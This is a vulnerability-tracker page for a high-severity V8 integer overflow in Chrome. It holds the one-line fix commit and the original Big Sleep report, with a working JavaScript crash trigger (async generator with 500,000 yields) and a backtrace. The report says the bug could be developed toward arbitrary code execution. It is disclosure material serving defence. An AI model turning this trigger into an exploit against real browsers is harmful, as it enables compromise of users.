High chrome Integer Overflow 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInteger overflow in V8
DescriptionInteger overflow in V8
ComponentV8
Bug ClassInteger Overflow
Tracker443765373
Fix commita5f18bb86c3b (v8/v8) +1/-0
CISA KEVNot listed
CreditedGoogle Big Sleep
Disclosed2025-09-23

Files Changed

  • src/codegen/handler-table.cc
From a5f18bb86c3b97b9bfc8f95a0926812a1282ad7c Mon Sep 17 00:00:00 2001
From: Leszek Swirski <leszeks@chromium.org>
Date: Fri, 12 Sep 2025 16:48:24 +0200
Subject: [PATCH] [ignition] CHECK that handler offsets fit in the bitfield

Fixed: 443765373
Change-Id: I2be7258463c7787311105b7075f3007197cfccfe
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6943611
Reviewed-by: Toon Verwaest <verwaest@chromium.org>
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Commit-Queue: Leszek Swirski <leszeks@chromium.org>
Auto-Submit: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/main@{#102453}
---

diff --git a/src/codegen/handler-table.cc b/src/codegen/handler-table.cc
index e1c1f6a..b815ff2 100644
--- a/src/codegen/handler-table.cc
+++ b/src/codegen/handler-table.cc
@@ -141,6 +141,7 @@
 
 void HandlerTable::SetRangeHandler(int index, int handler_offset,
                                    CatchPrediction prediction) {
+  CHECK(HandlerOffsetField::is_valid(handler_offset));
   int value = HandlerOffsetField::encode(handler_offset) |
               HandlerWasUsedField::encode(false) |
               HandlerPredictionField::encode(prediction);
Loading diff…

Original Bug Report

reported by bi...@google.com

V8: Bytecode corruption due to integer truncation when writing exception handler offset

We are tracking this issue with the public ID BIGSLEEP-443875388. Please use this identifier for reference in any future communication.

Vulnerability Details

Exception handling in V8’s bytecode is implemented by a handler table which effectively encodes the range of the try block and the start of the corresponding catch block . This can for example be seen using --print-bytecode with a simple function:

function simple() {
  try {
    throw 42;
  } catch (e) {
    return e;
  }
}

/*
[generated bytecode for function: simple (0x034e0005db71 <SharedFunctionInfo simple>)]
         0x2ad5001000e4 @    0 : 1b ff f9          Mov <context>, r0
         0x2ad5001000e7 @    3 : 0d 2a             LdaSmi [42]
         0x2ad5001000e9 @    5 : b5                Throw
         0x2ad5001000ea @    6 : d1                Star1
         0x2ad5001000eb @    7 : 8d f8 00          CreateCatchContext r1, [0]
         0x2ad5001000ee @   10 : d2                Star0
         0x2ad5001000ef @   11 : 10                LdaTheHole
         0x2ad5001000f0 @   12 : b4                SetPendingMessage
         0x2ad5001000f1 @   13 : 0b f9             Ldar r0
         0x2ad5001000f3 @   15 : 1c f8             PushContext r1
         0x2ad5001000f5 @   17 : 19 02             LdaImmutableCurrentContextSlot [2]
         0x2ad5001000f7 @   19 : b7                Return
Handler Table (size = 16)
   from   to       hdlr (prediction,   data)
  (   3,   6)  ->     6 (prediction=1, data=0)
*/

Here, the bytecode specifies that if an exception is raised in the range at any point in the bytecode offset range [3, 6), then execution should continue at bytecode offset 6.

Internally, the offset of the handler is encoded as a 28 bit integer, encoded in the function HandlerTable::SetRangeHandler [1]. As there is no hard CHECK that the offset fits into 28 bits, there is a potential for truncation issues if the bytecode becomes too large. One way to generate a function that is sufficiently large is through an async generator function containing a lot of yield* operations, which appear to cause a lot of bytecode to be generated. With that, it becomes possible to overflow the 28 bit bytecode offset of the handler. Subsequently, if an exception is raised, execution will transfer to an invalid offset inside the bytecode, allowing arbitrary bytecode execution similar to BIGSLEEP-436210783/crbug.com/436181695.

The below testcase demonstrates this scenario. As can be seen with --print-bytecode, the offset of the last handler has been truncated and now points into the middle of the function and not to the start of the catch block (the catch block starts at offset 294567982, which is 26132526 when truncated to 28 bits):

...
        0x218e125ec063 @ 294567979 : 0d 2a             LdaSmi [42]
        0x218e125ec065 @ 294567981 : b5                Throw
        0x218e125ec066 @ 294567982 : cb                Star7
        0x218e125ec067 @ 294567983 : 01 8d f2 ff ff ff c7 46 2e 00 CreateCatchContext.ExtraWide r7, [3032775]
        0x218e125ec071 @ 294567993 : cc                Star6
        0x218e125ec072 @ 294567994 : 10                LdaTheHole
        0x218e125ec073 @ 294567995 : b4                SetPendingMessage
...

Handler Table (size = 48)                                                                                                                                                                                                                  
   from   to       hdlr (prediction,   data)                                                                                                                                                                                                   
  (  30,294568033)  ->  26132577 (prediction=3, data=4)                                                                                                                                                                                                
  (  33,294568013)  ->  26132557 (prediction=3, data=5)                                                                                                                                                                                                       
  (294567979,294567982)  ->  26132526 (prediction=1, data=6)

In release builds, this will usually lead to a segmentation fault (e.g. due to an invalid bytecode opcode being executed). However, an attacker should be able to craft the bytecode in a way that there will be valid attacker-controlled bytecode at the jump destination, subsequently allowing for arbitrary code execution.

[1] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/handler-table.cc;l=144;drc=6002d3ae186f974cd2013b410e487e2631f61f16

Affected Version(s)

The issue has been successfully reproduced:

  • at HEAD (commit 6002d3ae186f974cd2013b410e487e2631f61f16)
  • in stable release 14.0.365.4 (fdb12b460f148895f6af2ff0e0d870ff8889f154

Reproduction

Test Case

The following testcase causes a DCHECK failure in debug builds and a segmentation fault in release builds as described above.

let kNumYields = 500000;

let body = `
  if ("foo" === "bar") {
    ${"yield* 42;".repeat(kNumYields)}
  }
  try {
    throw 42;
  } catch (e) {
     // Will never get here
  }
`;

const AsyncGeneratorFunction = Object.getPrototypeOf(async function*(){}).constructor;
let bug = new AsyncGeneratorFunction(body);

let r = bug();
r.next();

Build Instructions

Follow the instructions at https://v8.dev/docs/build. The crash was verified on a debug build:

gm.py x64.debug

Command

Note that the testcase may take a few minutes to trigger on a debug build but should trigger within a few seconds on a release build.

./out/x64.debug/d8 crash.js

Crash Backtrace

#
# Fatal error in ../../src/base/bit-field.h, line 56
# Debug check failed: is_valid(value).
#
#
#
#FailureMessage Object: 0x7b42c013f860
==== C stack trace ===============================
    ./out/x64.debug/d8(___interceptor_backtrace+0x46) [0x5622fa2f9a06]
    v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f42c3bd789e]
    v8/v8/out/x64.debug/libv8_libplatform.so(+0x7c49b) [0x7f42c3ab349b]
    v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x2e2) [0x7f42c3b7f1d2]
    v8/v8/out/x64.debug/libv8_libbase.so(+0x888f7) [0x7f42c3b7e8f7]
    v8/v8/out/x64.debug/libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x4d) [0x7f42c3b7f31d]
    v8/v8/out/x64.debug/libv8.so(v8::base::BitField<int, 4, 28, unsigned int>::encode(int)+0x37) [0x7f42ce567a37]
    v8/v8/out/x64.debug/libv8.so(v8::internal::HandlerTable::SetRangeHandler(int, int, v8::internal::HandlerTable::CatchPrediction)+0x3f) [0x7f42ce565b4f]
    v8/v8/out/x64.debug/libv8.so(v8::internal::DirectHandle<v8::internal::TrustedByteArray> v8::internal::interpreter::HandlerTableBuilder::ToHandlerTable<v8::internal::Isolate>(v8::internal::Isolate*)+0x2d7) [0x7f42cfc43607]
    v8/v8/out/x64.debug/libv8.so(v8::internal::Handle<v8::internal::BytecodeArray> v8::internal::interpreter::BytecodeArrayBuilder::ToBytecodeArray<v8::internal::Isolate>(v8::internal::Isolate*)+0x1a2) [0x7f42cfb27df2]
    v8/v8/out/x64.debug/libv8.so(v8::internal::Handle<v8::internal::BytecodeArray> v8::internal::interpreter::BytecodeGenerator::FinalizeBytecode<v8::internal::Isolate>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Script>)+0x5a4) [0x7f42cfbd5514]
    v8/v8/out/x64.debug/libv8.so(v8::internal::CompilationJob::Status v8::internal::interpreter::InterpreterCompilationJob::DoFinalizeJobImpl<v8::internal::Isolate>(v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x48f) [0x7f42cfc4aa1f]
    v8/v8/out/x64.debug/libv8.so(v8::internal::interpreter::InterpreterCompilationJob::FinalizeJobImpl(v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x233) [0x7f42cfc46a03]
    v8/v8/out/x64.debug/libv8.so(v8::internal::UnoptimizedCompilationJob::FinalizeJob(v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x380) [0x7f42ce47a8c0]
    v8/v8/out/x64.debug/libv8.so(+0xa8a6917) [0x7f42ce4a6917]
    v8/v8/out/x64.debug/libv8.so(+0xa88f4ea) [0x7f42ce48f4ea]
    v8/v8/out/x64.debug/libv8.so(+0xa892ed7) [0x7f42ce492ed7]
    v8/v8/out/x64.debug/libv8.so(v8::internal::Compiler::GetFunctionFromEval(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::String>, v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::DirectHandle<v8::internal::Context>, v8::internal::LanguageMode, v8::internal::ParseRestriction, int, int, v8::internal::ParsingWhileDebugging)+0x20e9) [0x7f42ce4988f9]
    v8/v8/out/x64.debug/libv8.so(v8::internal::Compiler::GetFunctionFromValidatedString(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::NativeContext>, v8::internal::MaybeDirectHandle<v8::internal::String>, v8::internal::ParseRestriction, int)+0x574) [0x7f42ce49a734]
    v8/v8/out/x64.debug/libv8.so(v8::internal::Compiler::GetFunctionFromString(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::NativeContext>, v8::internal::Handle<v8::internal::Object>, int, bool)+0xe0) [0x7f42ce49a900]
    v8/v8/out/x64.debug/libv8.so(+0xa7469b2) [0x7f42ce3469b2]
    v8/v8/out/x64.debug/libv8.so(+0xa742741) [0x7f42ce342741]
    v8/v8/out/x64.debug/libv8.so(v8::internal::Builtin_AsyncGeneratorFunctionConstructor(int, unsigned long*, v8::internal::Isolate*)+0x200) [0x7f42ce342340]
    v8/v8/out/x64.debug/libv8.so(+0x995397d) [0x7f42cd55397d]

Reporter Credit

Google Big Sleep

Disclosure Policy

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-12-08. For more information, visit https://goo.gle/bigsleep

View on issue tracker